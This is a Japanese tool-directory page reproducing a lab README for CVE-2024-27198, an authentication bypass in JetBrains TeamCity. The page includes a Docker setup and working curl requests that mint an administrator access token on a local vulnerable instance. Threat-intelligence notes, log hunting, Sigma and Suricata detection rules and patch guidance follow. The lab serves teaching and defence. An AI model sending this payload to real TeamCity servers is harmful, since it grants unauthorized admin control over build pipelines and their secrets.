Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-27198_LAB | Kitploit
ツール/GitHubGitHub/ne0zer01/cve-2024-27198_lab
認証と認可脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト脅威インテリジェンス侵入検知学習と教育インシデントレスポンスログ分析ラボと実践
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
ne0zer01/cve-2024-27198_lab

CVE-2024-27198_LAB

リポジトリを見る

CVE-2024-27198 ラボ

説明

TeamCity には、認証で保護されていない管理者専用のトークン管理ページがあります。これにより、認証されていないユーザーは、既存ユーザーの ID を見つけられれば、管理者ユーザーのアクセストークンを生成できます。


CVE 詳細

  • CVE ID: CVE-2024-27198
  • CWE: CWE-288
  • CNA: JetBrains s.r.o.
  • 基本スコア: 9.8 CRITICAL
  • ベクター:
    • CVSS:3.1
    • AV:N ネットワーク
    • AC:L 低
    • PR:N なし
    • UI:N 不要
    • S:U 変更なし
    • C:H 高
    • I:H 高
    • A:H 高

脅威インテリジェンス & OSINT

実際の影響と悪用

  • CISA KEV カタログ: 2024年3月7日に追加され、実環境での積極的な悪用が確認されました。
  • 脅威アクター: 複数のランサムウェアグループや APT によって悪用されており、特に BianLian ランサムウェアグループと Jasmin ランサムウェア亜種が挙げられます。攻撃者はこの回避手法を使用して、不正な管理者アカウントを作成し、悪意のあるプラグインを展開し、任意のコードを実行(RCE)して被害者のネットワーク内を横移動しました。
  • 標的プロファイル: CI/CD パイプラインは価値の高い標的です(サプライチェーン攻撃)。TeamCity を侵害することで、攻撃者はソフトウェアビルドに悪意のあるコードを挿入し、ソースコードを盗み、デプロイメントの秘密情報(AWS キー、証明書)を抽出できます。

この CVE が重大な理由

この脆弱性は REST API のルーティング機構にあります。認証されていないエンドポイントに特定の文字(?jsp=/app/rest/...;.jsp など)を追加することで、攻撃者はセキュリティフィルタを回避しながら、TeamCity Web サーバーをだまして認証済みエンドポイントにリクエストをルーティングさせることができます。これには事前の知識やアクセスが一切不要であり、純粋な CVSS 9.8 となっています。


再現手順

コンテナを起動する

root@kitploit:~
cd CVE-2024-27198
root@kitploit:~
docker compose -f docker-compose.yml up -d

脆弱な TeamCity インスタンスには http://localhost:8111 からアクセスします。 パッチ適用済みの TeamCity インスタンスには http://localhost:8112 からアクセスします。


ログインポータル

ユーザー名:

root@kitploit:~
admin

パスワード:

root@kitploit:~
admin

脆弱性をテストする

認証なしでリソースへの GET リクエストを送信します:

root@kitploit:~
curl -i http://localhost:8111/app/rest/users
root@kitploit:~
curl -i http://localhost:8112/app/rest/users

両方とも 401 ステータスコードのエラーを返すはずです。


管理者ユーザーのトークンを生成する

root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

次のようなトークンが返されるはずです(トークンは毎回異なります):

root@kitploit:~
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

パッチ適用済みインスタンスにはこの脆弱性がないため、401 ステータスコードのエラーが返されるはずです。


トークンを検証する

root@kitploit:~
curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

ユーザーの一覧が返されるはずです。


トークンを削除する

  1. http://localhost:8111 に管理者アカウントでアクセスします。
  2. 右上のプロフィールアイコンをクリックします。
  3. プロフィール -> アクセストークン に移動します。
  4. 「REDTEAM」トークンが表示されます。
  5. トークンの横にある「削除」をクリックするだけです。

ブルーチーム: ログ内の IoC を探す(ステルス性)

ラボでのデモ中に、重要なブルーチームの発見を示すことができます: この脆弱性は、デフォルトでは非常にステルスです。

  1. TeamCity Docker イメージでは Tomcat アクセスログがデフォルトで無効になっているため、;.jsp を含む HTTP リクエストは記録されません。
  2. TeamCity 監査ログは、REST API によるトークン作成を記録しません。

では、どうやってそれを検知するのでしょうか?攻撃者が痕跡を消したときです! 攻撃者が身を隠すために不正なトークンを削除した場合、TeamCity はそれを記録します。

監査ログで痕跡を消す攻撃者を見つけましょう:

root@kitploit:~
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

(「REDTEAM」トークンが削除されたことを示すログエントリが表示されます)。


コンテナを停止する

root@kitploit:~
docker compose -f docker-compose.yml down

緩和策と検知

技術的分析 (CWE-288)

この脆弱性は、CWE-288: 代替パスまたはチャネルを使用した認証バイパスの事例です。 この欠陥は、Tomcat Web サーバーと TeamCity アプリケーションルーターの間のパス混乱問題に起因します。;.jsp を追加し、ターゲットの REST API エンドポイントを jsp= パラメータに渡すことで、最初のセキュリティフィルタはこのリクエストを公開 .jsp ファイルへの認証不要のリクエスト(許可されている)として解釈します。しかし、内部ルーターは ;.jsp を除去し、認証フィルタを適用せずに制限された /app/rest/ エンドポイントへリクエストを転送します。

正当な使用例(なぜ ; が許可されているのか?): Tomcat はマトリクスパラメータにセミコロン文字(;)を使用します。歴史的に、このメカニズムは、クッキーが無効な場合にユーザーセッション状態を維持するために JSESSIONID を追加するなど、パス内で直接パラメータを渡すために使用されてきました。この正常で正当な Web サーバーの動作が、TeamCity アプリケーションルーターの不適切な検証と組み合わさり、脆弱性を生み出しています。

侵害の指標 (IoCs)

進行中または過去の侵害を検知するために、ブルーチームは以下を探す必要があります:

  1. Web ログ: /app/rest/ エンドポイントを標的とし、URI に異常な ;.jsp 文字列を含む HTTP リクエスト。
  2. 監査ログ (teamcity-server.log): 説明のつかないアクセストークンの生成、または新しい管理者アカウントの作成。
  3. システムレベル: 認識されない、または不審なプラグインのインストール(攻撃者が権限を昇格させ、リモートコード実行を達成するためによく使用されます)。

ログ検知 (Sigma ルール)

初期のエクスプロイトはデフォルトでステルスであるため、ブルーチームは痕跡を消すなどの攻撃後の行動を検知する必要があります。不審なトークン削除を検知するための SIEM 向け Sigma ルールを以下に示します:

root@kitploit:~
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
    category: application
    product: teamcity
detection:
    selection:
        message|contains: 'delete_token_for_user'
    condition: selection
level: medium

SIEM ライブデモ(ブルーチーム)

この検知が機能することを証明するには、siem_simulator.py スクリプトを実行します。

  1. エクスプロイト用ターミナルに加えて、2番目のターミナルを開きます。
  2. 脆弱なコンテナが実行中であることを確認します(docker compose up -d)。
  3. シミュレータを実行します:
root@kitploit:~
python3 siem_simulator.py
  1. 最初のターミナルでエクスプロイトを実行し、トークンを検証してから、Web インターフェース経由でトークンを削除します。
  2. 2番目のターミナルが赤い重大アラートで点灯し、Sigma ルールが痕跡を消そうとする攻撃者を捕捉するのを確認しましょう!

修復策

  • 公式パッチ: TeamCity をバージョン 2023.11.4 以降にアップグレードします。このバージョンでは、バックエンドでルートマッチングの適切なサニタイズと強制が行われます。
  • 回避策: パッチ適用が不可能な場合、JetBrains は脆弱なインスタンスにインストールできるセキュリティパッチプラグインをリリースしました。

ネットワーク検知(Suricata / Snort ルール)

ネットワーク上でこの悪用試行を検知するために、SOC は異常な ;.jsp パターンと REST API パスを組み合わせて探す以下の IDS ルールを実装できます:

root@kitploit:~
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

パッチ適用済みバージョンのテスト(ラボデモ)

緩和策が機能することを証明するには、ポート 8112 で実行されているパッチ適用済み TeamCity コンテナに対して、まったく同じエクスプロイトペイロードを実行できます:

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

パッチはルートマッチングを厳格に強制し、マトリクスパラメータを適切にサニタイズするため、バイパスは失敗します。生成されたトークンの代わりに、401 Unauthorized または 404 Not Found 応答が表示されるはずです。


リンク

  • CVE-2024-27198
ツールをダウンロード